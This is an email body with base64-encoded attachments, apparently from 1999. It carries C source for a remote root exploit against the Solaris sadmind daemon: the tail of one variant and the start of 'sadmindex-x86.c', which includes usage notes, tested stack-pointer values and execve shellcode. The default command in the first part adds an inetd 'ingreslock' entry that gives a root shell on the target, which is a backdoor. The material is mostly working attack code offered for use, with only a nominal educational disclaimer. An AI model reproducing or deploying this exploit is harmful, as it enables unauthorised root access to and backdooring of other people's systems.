Z25tZW50LCBwaW5naW5nID0gMDsNCiAgICB1bnNpZ25lZCBsb25nIGludCBz cCA9IDAsIGZwLCBhZGRyOw0KDQogICAgcHJvZ3JhbSA9IGFyZ3ZbMF07DQog ICAgaG9zdG5hbWUgPSAibG9jYWxob3N0IjsNCiAgICBjb21tYW5kID0gImVj aG8gaW5ncmVzbG9jayBzdHJlYW0gdGNwIG5vd2FpdCByb290IC9iaW4vc2gg c2ggLWkgPj4gL3RtcC9ib2I7IC91c3Ivc2Jpbi9pbmV0ZCAtcyAvdG1wL2Jv YiI7DQogICAgb2Zmc2V0ID0gT0ZGU0VUOyBhbGlnbm1lbnQgPSBBTElHTk1F TlQ7DQogICAgd2hpbGUgKChjID0gZ2V0b3B0KGFyZ2MsIGFyZ3YsICJoOmM6 czpvOmE6cCIpKSAhPSBFT0YpIHsNCglzd2l0Y2ggKGMpIHsNCgljYXNlICdo JzoNCgkgICAgaG9zdG5hbWUgPSBvcHRhcmc7DQoJICAgIGJyZWFrOw0KCWNh c2UgJ2MnOg0KCSAgICBjb21tYW5kID0gb3B0YXJnOyANCgkgICAgYnJlYWs7 DQoJY2FzZSAncyc6DQoJICAgIHNwID0gc3RydG91bChvcHRhcmcsIE5VTEws IDApOw0KCSAgICBicmVhazsNCgljYXNlICdvJzoNCgkgICAgb2Zmc2V0ID0g KGludCkgc3RydG9sKG9wdGFyZywgTlVMTCwgMCk7DQoJICAgIGJyZWFrOw0K CWNhc2UgJ2EnOg0KCSAgICBhbGlnbm1lbnQgPSAoaW50KSBzdHJ0b2wob3B0 YXJnLCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7DQoJY2FzZSAncCc6DQoJICAg IHBpbmdpbmcgPSAxOw0KCSAgICBicmVhazsNCglkZWZhdWx0Og0KCSAgICBm cHJpbnRmKHN0ZGVyciwgInVzYWdlOiAlcyAtaCBob3N0bmFtZSAtYyBjb21t YW5kIC1zIHNwICINCgkJICAgICJbLW8gb2Zmc2V0XSBbLWEgYWxpZ25tZW50 XSBbLXBdXG4iLCBwcm9ncmFtKTsNCgkgICAgZXhpdCgxKTsNCgkgICAgYnJl YWs7DQoJfQ0KICAgIH0NCiAgICBtZW1zZXQoYnVmLCAnXHhmZicsIEJVRkxF Tik7DQogICAgZnAgPSBzcCArIEZSQU1FTEVOMSArIEZSQU1FTEVOMjsgZnAg Jj0gMHhmZmZmZmZmODsNCiAgICBhZGRyID0gc3AgKyBvZmZzZXQ7IGFkZHIg Jj0gMHhmZmZmZmZmYzsNCiAgICBmb3IgKGkgPSAwLCBjcCA9IGJ1ZiArIGFs aWdubWVudDsgaSA8IEFERFJMRU4gLyA4OyBpKyspIHsNCgkqY3ArKyA9IChm cCA+PiAyNCkgJiAweGZmOw0KCSpjcCsrID0gKGZwID4+IDE2KSAmIDB4ZmY7 DQoJKmNwKysgPSAoZnAgPj4gIDgpICYgMHhmZjsNCgkqY3ArKyA9IChmcCA+ PiAgMCkgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gMjQpICYgMHhmZjsN CgkqY3ArKyA9IChhZGRyID4+IDE2KSAmIDB4ZmY7DQoJKmNwKysgPSAoYWRk ciA+PiAgOCkgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gIDApICYgMHhm ZjsNCiAgICB9DQogICAgc2xlbiA9IHN0cmxlbihzaGVsbCk7IGNsZW4gPSBz dHJsZW4oY29tbWFuZCk7DQogICAgbGVuID0gQlVGTEVOIC0gMSAtIGNsZW4g LSBzbGVuIC0gQUREUkxFTiAtIGFsaWdubWVudDsgbGVuICY9IDB4ZmZmZmZm ZmM7DQogICAgZm9yIChpID0gMDsgaSA8IGxlbiAvIDQ7IGkrKykgew0KCSpj cCsrID0gKE5PUCA+PiAyNCkgJiAweGZmOw0KCSpjcCsrID0gKE5PUCA+PiAx NikgJiAweGZmOw0KCSpjcCsrID0gKE5PUCA+PiAgOCkgJiAweGZmOw0KCSpj cCsrID0gKE5PUCA+PiAgMCkgJiAweGZmOw0KICAgIH0NCiAgICBsZW4gPSBj bGVuOyBsZW4rKzsgbGVuID0gLWxlbjsNCiAgICBzaGVsbFtMRU4rMF0gPSAo bGVuID4+IDI0KSAmIDB4ZmY7DQogICAgc2hlbGxbTEVOKzFdID0gKGxlbiA+ PiAxNikgJiAweGZmOw0KICAgIHNoZWxsW0xFTisyXSA9IChsZW4gPj4gIDgp ICYgMHhmZjsNCiAgICBzaGVsbFtMRU4rM10gPSAobGVuID4+ICAwKSAmIDB4 ZmY7DQogICAgbWVtY3B5KGNwLCBzaGVsbCwgc2xlbik7IGNwICs9IHNsZW47 DQogICAgbWVtY3B5KGNwLCBjb21tYW5kLCBjbGVuKTsNCiAgICBidWZbQlVG TEVOXSA9ICdcMCc7DQogICAgbWVtc2V0KCZzZW5kLCAwLCBzaXplb2Yoc3Ry dWN0IG5tX3NlbmQpKTsNCiAgICBzZW5kLmhlYWRlci51aW50MiA9IE5FVE1H VF9IRUFERVJfVFlQRTsNCiAgICBzZW5kLmhlYWRlci5zdHJpbmcxID0gIiI7 DQogICAgc2VuZC5oZWFkZXIuc3RyaW5nMiA9ICIiOw0KICAgIHNlbmQuaGVh ZGVyLnN0cmluZzMgPSAiIjsNCiAgICBzZW5kLmhlYWRlci51aW50NyA9DQoJ c3RybGVuKEFETV9GV19WRVJTSU9OKSArIDEgKw0KCSg0ICogc2l6ZW9mKHVu c2lnbmVkIGludCkpICsgc2l6ZW9mKGludCkgKw0KCXN0cmxlbihBRE1fQ0xJ RU5UX0RPTUFJTikgKyAxICsNCgkoNCAqIHNpemVvZih1bnNpZ25lZCBpbnQp KSArIHN0cmxlbihidWYpICsgMSArDQoJc3RybGVuKEFETV9GRU5DRSkgKyAx ICsNCgkoNCAqIHNpemVvZih1bnNpZ25lZCBpbnQpKSArIHNpemVvZihpbnQp ICsNCglzdHJsZW4oTkVUTUdUX0VORE9GQVJHUykgKyAxOw0KICAgIHNlbmQu dmVyc2lvbi5zdHJpbmcxID0gQURNX0ZXX1ZFUlNJT047DQogICAgc2VuZC52 ZXJzaW9uLnVpbnQxID0gTkVUTUdUX0FSR19JTlQ7DQogICAgc2VuZC52ZXJz aW9uLnVpbnQyID0gc2l6ZW9mKGludCk7DQogICAgc2VuZC52ZXJzaW9uLmlu dDEgPSAxOw0KICAgIHNlbmQuc3RyaW5nLnN0cmluZzEgPSBBRE1fQ0xJRU5U X0RPTUFJTjsNCiAgICBzZW5kLnN0cmluZy51aW50MSA9IE5FVE1HVF9BUkdf U1RSSU5HOw0KICAgIHNlbmQuc3RyaW5nLnVpbnQyID0gc3RybGVuKGJ1Zik7 DQogICAgc2VuZC5zdHJpbmcuc3RyaW5nMiA9IGJ1ZjsNCiAgICBzZW5kLmZl bmNlLnN0cmluZzEgPSBBRE1fRkVOQ0U7DQogICAgc2VuZC5mZW5jZS51aW50 MSA9IE5FVE1HVF9BUkdfSU5UOw0KICAgIHNlbmQuZmVuY2UudWludDIgPSBz aXplb2YoaW50KTsNCiAgICBzZW5kLmZlbmNlLmludDEgPSA2NjY7DQogICAg c2VuZC5mb290ZXIuc3RyaW5nMSA9IE5FVE1HVF9FTkRPRkFSR1M7DQogICAg Y2wgPSBjbG50X2NyZWF0ZShob3N0bmFtZSwgTkVUTUdUX1BST0csIE5FVE1H VF9WRVJTLCAidWRwIik7DQogICAgaWYgKGNsID09IE5VTEwpIHsNCgljbG50 X3BjcmVhdGVlcnJvcigiY2xudF9jcmVhdGUiKTsNCglleGl0KDEpOw0KICAg IH0NCiAgICBjbC0+Y2xfYXV0aCA9IGF1dGh1bml4X2NyZWF0ZSgibG9jYWxo b3N0IiwgMCwgMCwgMCwgTlVMTCk7DQogICAgaWYgKCFwaW5naW5nKSB7DQoJ ZnByaW50ZihzdGRvdXQsDQoJCSIlJXNwIDB4JTA4bHggb2Zmc2V0ICVkIC0t PiByZXR1cm4gYWRkcmVzcyAweCUwOGx4IFslZF1cbiIsDQoJCXNwLCBvZmZz ZXQsIGFkZHIsIGFsaWdubWVudCk7DQoJZnByaW50ZihzdGRvdXQsDQoJCSIl JXNwIDB4JTA4bHggd2l0aCBmcmFtZSBsZW5ndGggJWQgLS0+ICUlZnAgMHgl MDhseFxuIiwNCgkJc3AsIEZSQU1FTEVOMSArIEZSQU1FTEVOMiwgZnApOw0K CXRtLnR2X3NlYyA9IE5FVE1HVF9VRFBfU0VSVklDRV9USU1FT1VUOyB0bS50 dl91c2VjID0gMDsNCglpZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfVElN RU9VVCwgKGNoYXIgKikgJnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwg ImV4cGxvaXQgZmFpbGVkOyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0K CSAgICBleGl0KDEpOw0KCX0NCgl0bS50dl9zZWMgPSBORVRNR1RfVURQX1NF UlZJQ0VfUkVUUllfVElNRU9VVDsgdG0udHZfdXNlYyA9IDA7DQoJaWYgKCFj bG50X2NvbnRyb2woY2wsIENMU0VUX1JFVFJZX1RJTUVPVVQsIChjaGFyICop ICZ0bSkpIHsNCgkgICAgZnByaW50ZihzdGRlcnIsICJleHBsb2l0IGZhaWxl ZDsgdW5hYmxlIHRvIHNldCB0aW1lb3V0XG4iKTsNCgkgICAgZXhpdCgxKTsN Cgl9DQoJc3RhdCA9IGNsbnRfY2FsbChjbCwgTkVUTUdUX1BST0NfU0VSVklD RSwNCgkJCSB4ZHJfbm1fc2VuZCwgKGNhZGRyX3QpICZzZW5kLA0KCQkJIHhk cl9ubV9yZXBseSwgKGNhZGRyX3QpICZyZXBseSwgdG0pOw0KCWlmIChzdGF0 ICE9IFJQQ19TVUNDRVNTKSB7DQoJICAgIGNsbnRfcGVycm9yKGNsLCAiY2xu dF9jYWxsIik7DQoJICAgIGZwcmludGYoc3Rkb3V0LCAibm93IGNoZWNrIGlm IGV4cGxvaXQgd29ya2VkOyAiDQoJCSAgICAiUlBDIGZhaWx1cmUgd2FzIGV4 cGVjdGVkXG4iKTsNCgkgICAgZXhpdCgwKTsNCgl9DQoJZnByaW50ZihzdGRl cnIsICJleHBsb2l0IGZhaWxlZDsgIg0KCQkiUlBDIHN1Y2NlZWRlZCBhbmQg cmV0dXJuZWQgeyAldSwgJXUsIFwiJXNcIiB9XG4iLA0KCQlyZXBseS51aW50 MSwgcmVwbHkudWludDIsIHJlcGx5LnN0cmluZzEpOw0KCWNsbnRfZGVzdHJv eShjbCk7DQoJZXhpdCgxKTsNCiAgICB9IGVsc2Ugew0KCXRtLnR2X3NlYyA9 IE5FVE1HVF9VRFBfUElOR19USU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglp ZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfVElNRU9VVCwgKGNoYXIgKikg JnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQgZmFpbGVk OyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0KDEpOw0K CX0NCgl0bS50dl9zZWMgPSBORVRNR1RfVURQX1BJTkdfUkVUUllfVElNRU9V VDsgdG0udHZfdXNlYyA9IDA7DQoJaWYgKCFjbG50X2NvbnRyb2woY2wsIENM U0VUX1JFVFJZX1RJTUVPVVQsIChjaGFyICopICZ0bSkpIHsNCgkgICAgZnBy aW50ZihzdGRlcnIsICJleHBsb2l0IGZhaWxlZDsgdW5hYmxlIHRvIHNldCB0 aW1lb3V0XG4iKTsNCgkgICAgZXhpdCgxKTsNCgl9DQoJc3RhdCA9IGNsbnRf Y2FsbChjbCwgTkVUTUdUX1BST0NfUElORywNCgkJCSB4ZHJfdm9pZCwgTlVM TCwNCgkJCSB4ZHJfdm9pZCwgTlVMTCwgdG0pOw0KCWlmIChzdGF0ICE9IFJQ Q19TVUNDRVNTKSB7DQoJICAgIGNsbnRfcGVycm9yKGNsLCAiY2xudF9jYWxs Iik7DQoJICAgIGV4aXQoMSk7DQoJfQ0KCWNsbnRfZGVzdHJveShjbCk7DQoJ ZXhpdCgwKTsNCiAgICB9DQp9DQo= --0-1957747793-944864183=:20191 Content-Type: application/x-unknown-content-type-txtfile; name="sadmindex-x86.c" Content-Transfer-Encoding: base64 Content-Description: sadmindex-x86.c Content-Disposition: attachment; filename="sadmindex-x86.c" LyoqDQoqKiogIHNhZG1pbmRleCAtIGkzODYgU29sYXJpcyByZW1vdGUgcm9v dCBleHBsb2l0IGZvciAvdXNyL3NiaW4vc2FkbWluZA0KKioqDQoqKiogIFRl c3RlZCBhbmQgY29uZmlybWVkIHVuZGVyIFNvbGFyaXMgMi42IGFuZCA3LjAg KGkzODYpDQoqKioNCioqKiAgVXNhZ2U6ICAlIHNhZG1pbmRleCAtaCBob3N0 bmFtZSAtYyBjb21tYW5kIC1zIHNwIC1qIGp1bmsgWy1vIG9mZnNldF0gXA0K KioqICAgICAgICAgICAgICAgICAgICAgIFstYSBhbGlnbm1lbnRdIFstcF0N CioqKg0KKioqICB3aGVyZSBob3N0bmFtZSBpcyB0aGUgaG9zdG5hbWUgb2Yg dGhlIG1hY2hpbmUgcnVubmluZyB0aGUgdnVsbmVyYWJsZQ0KKioqICBzeXN0 ZW0gYWRtaW5pc3RyYXRpb24gZGFlbW9uLCBjb21tYW5kIGlzIHRoZSBjb21t YW5kIHRvIHJ1biBhcyByb290DQoqKiogIG9uIHRoZSB2dWxuZXJhYmxlIG1h Y2hpbmUsIHNwIGlzIHRoZSAlZXNwIHN0YWNrIHBvaW50ZXIgdmFsdWUsIGp1 bmsNCioqKiAgaXMgdGhlIG51bWJlciBvZiBieXRlcyBuZWVkZWQgdG8gZmls bCB0aGUgdGFyZ2V0IHN0YWNrIGZyYW1lICh3aGljaA0KKioqICBzaG91bGQg YmUgYSBtdWx0aXBsZSBvZiA0KSwgb2Zmc2V0IGlzIHRoZSBudW1iZXIgb2Yg Ynl0ZXMgdG8gYWRkIHRvDQoqKiogIHNwIHRvIGNhbGN1bGF0ZSB0aGUgZGVz aXJlZCByZXR1cm4gYWRkcmVzcywgYW5kIGFsaWdubWVudCBpcyB0aGUNCioq KiAgbnVtYmVyIG9mIGJ5dGVzIG5lZWRlZCB0byBjb3JyZWN0bHkgYWxpZ24g dGhlIGNvbnRlbnRzIG9mIHRoZSBleHBsb2l0DQoqKiogIGJ1ZmZlci4NCioq Kg0KKioqICBJZiBydW4gd2l0aCBhIC1wIG9wdGlvbiwgdGhlIGV4cGxvaXQg d2lsbCBvbmx5ICJwaW5nIiBzYWRtaW5kIG9uIHRoZQ0KKioqICByZW1vdGUg bWFjaGluZSB0byBzdGFydCBpdCBydW5uaW5nLiAgVGhlIGRhZW1vbiB3aWxs IGJlIG90aGVyd2lzZQ0KKioqICB1bnRvdWNoZWQuICBTaW5jZSBwaW5naW5n IHRoZSBkYWVtb24gZG9lcyBub3QgcmVxdWlyZSBhbiBleHBsb2l0DQoqKiog IGJ1ZmZlciB0byBiZSBjb25zdHJ1Y3RlZCwgeW91IGNhbiBzYWZlbHkgb21p dCB0aGUgLWMsIC1zLCBhbmQgLWoNCioqKiAgb3B0aW9ucyBpZiB5b3UgdXNl IC1wLg0KKioqDQoqKiogIFdoZW4gc3BlY2lmeWluZyBhIGNvbW1hbmQsIGJl IHN1cmUgdG8gcGFzcyBpdCB0byB0aGUgZXhwbG9pdCBhcyBhDQoqKiogIHNp bmdsZSBhcmd1bWVudCwgbmFtZWx5IGVuY2xvc2UgdGhlIGNvbW1hbmQgc3Ry aW5nIGluIHF1b3RlcyBpZiBpdA0KKioqICBjb250YWlucyBzcGFjZXMgb3Ig b3RoZXIgc3BlY2lhbCBzaGVsbCBkZWxpbWl0ZXIgY2hhcmFjdGVycy4gIFRo ZQ0KKioqICBleHBsb2l0IHdpbGwgcGFzcyB0aGlzIHN0cmluZyB3aXRob3V0 IG1vZGlmaWNhdGlvbiB0byAvYmluL3NoIC1jIG9uDQoqKiogIHRoZSByZW1v dGUgbWFjaGluZSwgc28gYW55IG5vcm1hbGx5IGFsbG93ZWQgQm91cm5lIHNo ZWxsIHN5bnRheCBpcw0KKioqICBhbHNvIGFsbG93ZWQgaW4gdGhlIGNvbW1h bmQgc3RyaW5nLiAgVGhlIGNvbW1hbmQgc3RyaW5nIGFuZCB0aGUNCioqKiAg YXNzZW1ibHkgY29kZSB0byBydW4gaXQgbXVzdCBmaXQgaW5zaWRlIGEgYnVm ZmVyIG9mIDUxMiBieXRlcywgc28NCioqKiAgdGhlIGNvbW1hbmQgc3RyaW5n IGhhcyBhIG1heGltdW0gbGVuZ3RoIG9mIGFib3V0IDM5MCBieXRlcyBvciBz by4NCioqKg0KKioqICBJIGhhdmUgcHJvdmlkZWQgY29uZmlybWVkICVlc3Ag c3RhY2sgcG9pbnRlciB2YWx1ZXMgZm9yIFNvbGFyaXMgb24gYQ0KKioqICBQ ZW50aXVtIFBDIHN5c3RlbSBydW5uaW5nIFNvbGFyaXMgMi42IDUvOTggYW5k IG9uIGEgUGVudGl1bSBQQyBzeXN0ZW0NCioqKiAgcnVubmluZyBTb2xhcmlz IDcuMCAxMC85OC4gIE9uIGVhY2ggc3lzdGVtLCBzYWRtaW5kIHdhcyBzdGFy dGVkIGZyb20NCioqKiAgYW4gaW5zdGFuY2Ugb2YgaW5ldGQgdGhhdCB3YXMg c3RhcnRlZCBhdCBib290IHRpbWUgYnkgaW5pdC4gIFRoZXJlDQoqKiogIGlz IGEgZmFpciBwb3NzaWJpbGl0eSB0aGF0IHRoZSBkZW1vbnN0cmF0aW9uIHZh bHVlcyB3aWxsIG5vdCB3b3JrDQoqKiogIGR1ZSB0byBkaWZmZXJpbmcgc2V0 cyBvZiBlbnZpcm9ubWVudCB2YXJpYWJsZXMsIGZvciBleGFtcGxlIGlmIHRo ZQ0KKioqICB0aGUgcnVubmluZyBpbmV0ZCBvbiB0aGUgcmVtb3RlIG1hY2hp bmUgd2FzIHN0YXJ0ZWQgbWFudWFsbHkgZnJvbSBhbg0KKioqICBpbnRlcmFj dGl2ZSBzaGVsbC4gIElmIHlvdSBmaW5kIHRoYXQgdGhlIHNhbXBsZSB2YWx1 ZSBmb3IgJWVzcCBkb2VzDQoqKiogIG5vdCB3b3JrLCB0cnkgYWRqdXN0aW5n IHRoZSB2YWx1ZSBieSAtMjA0OCB0byAyMDQ4IGZyb20gdGhlIHNhbXBsZSBp bg0KKioqICBpbmNyZW1lbnRzIG9mIDMyIGZvciBzdGFydGVycy4gIFRoZSBq dW5rIHBhcmFtZXRlciBzZWVtcyB0byB2YXJ5IGZyb20NCioqKiAgdmVyc2lv biB0byB2ZXJzaW9uLCBidXQgdGhlIHNhbXBsZSB2YWx1ZXMgc2hvdWxkIGJl IGFwcHJvcHJpYXRlIGZvcg0KKioqICB0aGUgbGlzdGVkIHZlcnNpb25zIGFu ZCBhcmUgbm90IGxpa2VseSB0byBuZWVkIGFkanVzdG1lbnQuICBUaGUgb2Zm c2V0DQoqKiogIHBhcmFtZXRlciBhbmQgdGhlIGFsaWdubWVudCBwYXJhbWV0 ZXIgaGF2ZSBkZWZhdWx0IHZhbHVlcyB0aGF0IHdpbGwgYmUNCioqKiAgdXNl ZCBpZiBubyBvdmVycmlkaW5nIHZhbHVlcyBhcmUgc3BlY2lmaWVkIG9uIHRo ZSBjb21tYW5kIGxpbmUuICBUaGUNCioqKiAgZGVmYXVsdCB2YWx1ZXMgc2hv dWxkIGJlIHN1aXRhYmxlIGFuZCBpdCB3aWxsIG5vdCBsaWtlbHkgYmUgbmVj ZXNzYXJ5DQoqKiogIHRvIG92ZXJyaWRlIHRoZW0uDQoqKioNCioqKiAgRGVt b25zdHJhdGlvbiB2YWx1ZXMgZm9yIGkzODYgU29sYXJpczoNCioqKg0KKioq ICAoMi42KSAgc2FkbWluZGV4IC1oIGhvc3QuZXhhbXBsZS5jb20gLWMgInRv dWNoIEhFSCIgLXMgMHgwODA0MThlYyAtaiA1MTINCioqKiAgKDcuMCkgIHNh ZG1pbmRleCAtaCBob3N0LmV4YW1wbGUuY29tIC1jICJ0b3VjaCBIRUgiIC1z IDB4MDgwNDE3OTggLWogNTM2DQoqKioNCioqKiAgVEhJUyBDT0RFIEZPUiBF RFVDQVRJT05BTCBVU0UgT05MWSBJTiBBTiBFVEhJQ0FMIE1BTk5FUg0KKioq DQoqKiogIENoZWV6IFdoaXoNCioqKiAgY2hlZXpiZWFzdEBob3RtYWlsLmNv bQ0KKioqDQoqKiogIEp1bmUgMjQsIDE5OTkNCioqLw0KDQojaW5jbHVkZSA8 c3RkbGliLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDx1bmlz dGQuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxycGMvcnBj Lmg+DQoNCiNkZWZpbmUgTkVUTUdUX1BST0cgMTAwMjMyDQojZGVmaW5lIE5F VE1HVF9WRVJTIDEwDQojZGVmaW5lIE5FVE1HVF9QUk9DX1BJTkcgMA0KI2Rl ZmluZSBORVRNR1RfUFJPQ19TRVJWSUNFIDENCg0KI2RlZmluZSBORVRNR1Rf VURQX1BJTkdfVElNRU9VVCAzMA0KI2RlZmluZSBORVRNR1RfVURQX1BJTkdf UkVUUllfVElNRU9VVCA1DQojZGVmaW5lIE5FVE1HVF9VRFBfU0VSVklDRV9U SU1FT1VUIDENCiNkZWZpbmUgTkVUTUdUX1VEUF9TRVJWSUNFX1JFVFJZX1RJ TUVPVVQgMg0KDQojZGVmaW5lIE5FVE1HVF9IRUFERVJfVFlQRSA2DQojZGVm aW5lIE5FVE1HVF9BUkdfSU5UIDMNCiNkZWZpbmUgTkVUTUdUX0FSR19TVFJJ TkcgOQ0KI2RlZmluZSBORVRNR1RfRU5ET0ZBUkdTICJuZXRtZ3RfZW5kb2Zh cmdzIg0KDQojZGVmaW5lIEFETV9GV19WRVJTSU9OICJBRE1fRldfVkVSU0lP TiINCiNkZWZpbmUgQURNX0NMSUVOVF9ET01BSU4gIkFETV9DTElFTlRfRE9N QUlOIg0KI2RlZmluZSBBRE1fRkVOQ0UgIkFETV9GRU5DRSINCg0KI2RlZmlu ZSBCVUZMRU4gMTA1NgkJLyogNTQ4KzgrNTEyLTEyICovDQojZGVmaW5lIEFE RFJMRU4JOA0KI2RlZmluZSBMRU4gNzYNCg0KLyogI2RlZmluZSBKVU5LIDUx MiAqLwkJLyogNTI0LTEyIChTb2xhcmlzIDIuNikgKi8NCi8qICNkZWZpbmUg SlVOSyA1MzYgKi8JCS8qIDU0OC0xMiAoU29sYXJpcyA3LjApICovDQojZGVm aW5lIE9GRlNFVCA1NzIJCS8qIGRlZmF1bHQgb2Zmc2V0ICovDQojZGVmaW5l IEFMSUdOTUVOVCAwCQkvKiBkZWZhdWx0IGFsaWdubWVudCAqLw0KDQojZGVm aW5lIE5PUCAweDkwDQoNCmNoYXIgc2hlbGxbXSA9DQovKiAgIDAgKi8gIlx4 ZWJceDQ1IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBqbXAgc3ByaW5n Ym9hcmQgICAgICAgKi8NCi8qIHN5c2NhbGw6ICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0K LyogICAyICovICJceDlhXHhmZlx4ZmZceGZmXHhmZlx4MDdceGZmIiAgICAg LyogbGNhbGwgMHg3LDB4MCAgICAgICAgICovDQovKiAgIDkgKi8gIlx4YzMi ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiByZXQgICAgICAgICAg ICAgICAgICAgKi8NCi8qIHN0YXJ0OiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyog IDEwICovICJceDVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog cG9wbCAlZXNpICAgICAgICAgICAgICovDQovKiAgMTEgKi8gIlx4MzFceGMw IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4b3IgJWVheCwlZWF4ICAg ICAgICAgKi8NCi8qICAxMyAqLyAiXHg4OVx4NDZceGI3IiAgICAgICAgICAg ICAgICAgICAgIC8qIG1vdmwgJWVheCwtMHg0OSglZXNpKSAqLw0KLyogIDE2 ICovICJceDg4XHg0Nlx4YmMiICAgICAgICAgICAgICAgICAgICAgLyogbW92 YiAlYWwsLTB4NDQoJWVzaSkgICovDQovKiBleGVjdmU6ICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgKi8NCi8qICAxOSAqLyAiXHgzMVx4YzAiICAgICAgICAgICAgICAgICAg ICAgICAgIC8qIHhvciAlZWF4LCVlYXggICAgICAgICAqLw0KLyogIDIxICov ICJceDUwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcHVzaGwg JWVheCAgICAgICAgICAgICovDQovKiAgMjIgKi8gIlx4NTYiICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAvKiBwdXNobCAlZXNpICAgICAgICAgICAg Ki8NCi8qICAyMyAqLyAiXHg4Ylx4MWUiICAgICAgICAgICAgICAgICAgICAg ICAgIC8qIG1vdmwgKCVlc2kpLCVlYnggICAgICAqLw0KLyogIDI1ICovICJc eGY3XHhkYiIgICAgICAgICAgICAgICAgICAgICAgICAgLyogbmVnbCAlZWJ4 ICAgICAgICAgICAgICovDQovKiAgMjcgKi8gIlx4ODlceGY3IiAgICAgICAg ICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlc2ksJWVkaSAgICAgICAgKi8N Ci8qICAyOSAqLyAiXHg4M1x4YzdceDEwIiAgICAgICAgICAgICAgICAgICAg IC8qIGFkZGwgJDB4MTAsJWVkaSAgICAgICAqLw0KLyogIDMyICovICJceDU3 IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcHVzaGwgJWVkaSAg ICAgICAgICAgICovDQovKiAgMzMgKi8gIlx4ODlceDNlIiAgICAgICAgICAg ICAgICAgICAgICAgICAvKiBtb3ZsICVlZGksKCVlc2kpICAgICAgKi8NCi8q ICAzNSAqLyAiXHg4M1x4YzdceDA4IiAgICAgICAgICAgICAgICAgICAgIC8q IGFkZGwgJDB4OCwlZWRpICAgICAgICAqLw0KLyogIDM4ICovICJceDg4XHg0 N1x4ZmYiICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSgl ZWRpKSAgICovDQovKiAgNDEgKi8gIlx4ODlceDdlXHgwNCIgICAgICAgICAg ICAgICAgICAgICAvKiBtb3ZsICVlZGksMHg0KCVlc2kpICAgKi8NCi8qICA0 NCAqLyAiXHg4M1x4YzdceDAzIiAgICAgICAgICAgICAgICAgICAgIC8qIGFk ZGwgJDB4MywlZWRpICAgICAgICAqLw0KLyogIDQ3ICovICJceDg4XHg0N1x4 ZmYiICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSglZWRp KSAgICovDQovKiAgNTAgKi8gIlx4ODlceDdlXHgwOCIgICAgICAgICAgICAg ICAgICAgICAvKiBtb3ZsICVlZGksMHg4KCVlc2kpICAgKi8NCi8qICA1MyAq LyAiXHgwMVx4ZGYiICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGFkZGwg JWVieCwlZWRpICAgICAgICAqLw0KLyogIDU1ICovICJceDg4XHg0N1x4ZmYi ICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSglZWRpKSAg ICovDQovKiAgNTggKi8gIlx4ODlceDQ2XHgwYyIgICAgICAgICAgICAgICAg ICAgICAvKiBtb3ZsICVlYXgsMHhjKCVlc2kpICAgKi8NCi8qICA2MSAqLyAi XHhiMFx4M2IiICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmIgJDB4 M2IsJWFsICAgICAgICAqLw0KLyogIDYzICovICJceGU4XHhiZVx4ZmZceGZm XHhmZiIgICAgICAgICAgICAgLyogY2FsbCBzeXNjYWxsICAgICAgICAgICov DQovKiAgNjggKi8gIlx4ODNceGM0XHgwYyIgICAgICAgICAgICAgICAgICAg ICAvKiBhZGRsICQweGMsJWVzcCAgICAgICAgKi8NCi8qIHNwcmluZ2JvYXJk OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAqLw0KLyogIDcxICovICJceGU4XHhiZVx4ZmZceGZmXHhm ZiIgICAgICAgICAgICAgLyogY2FsbCBzdGFydCAgICAgICAgICAgICovDQov KiBkYXRhOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgKi8NCi8qICA3NiAqLyAiXHhmZlx4 ZmZceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERBVEEgICAgICAgICAg ICAgICAgICAqLw0KLyogIDgwICovICJceGZmXHhmZlx4ZmZceGZmIiAgICAg ICAgICAgICAgICAgLyogREFUQSAgICAgICAgICAgICAgICAgICovDQovKiAg ODQgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBE QVRBICAgICAgICAgICAgICAgICAgKi8NCi8qICA4OCAqLyAiXHhmZlx4ZmZc eGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERBVEEgICAgICAgICAgICAg ICAgICAqLw0KLyogIDkyICovICJceDJmXHg2Mlx4NjlceDZlXHgyZlx4NzNc eDY4XHhmZiIgLyogREFUQSAgICAgICAgICAgICAgICAgICovDQovKiAxMDAg Ki8gIlx4MmRceDYzXHhmZiI7ICAgICAgICAgICAgICAgICAgICAvKiBEQVRB 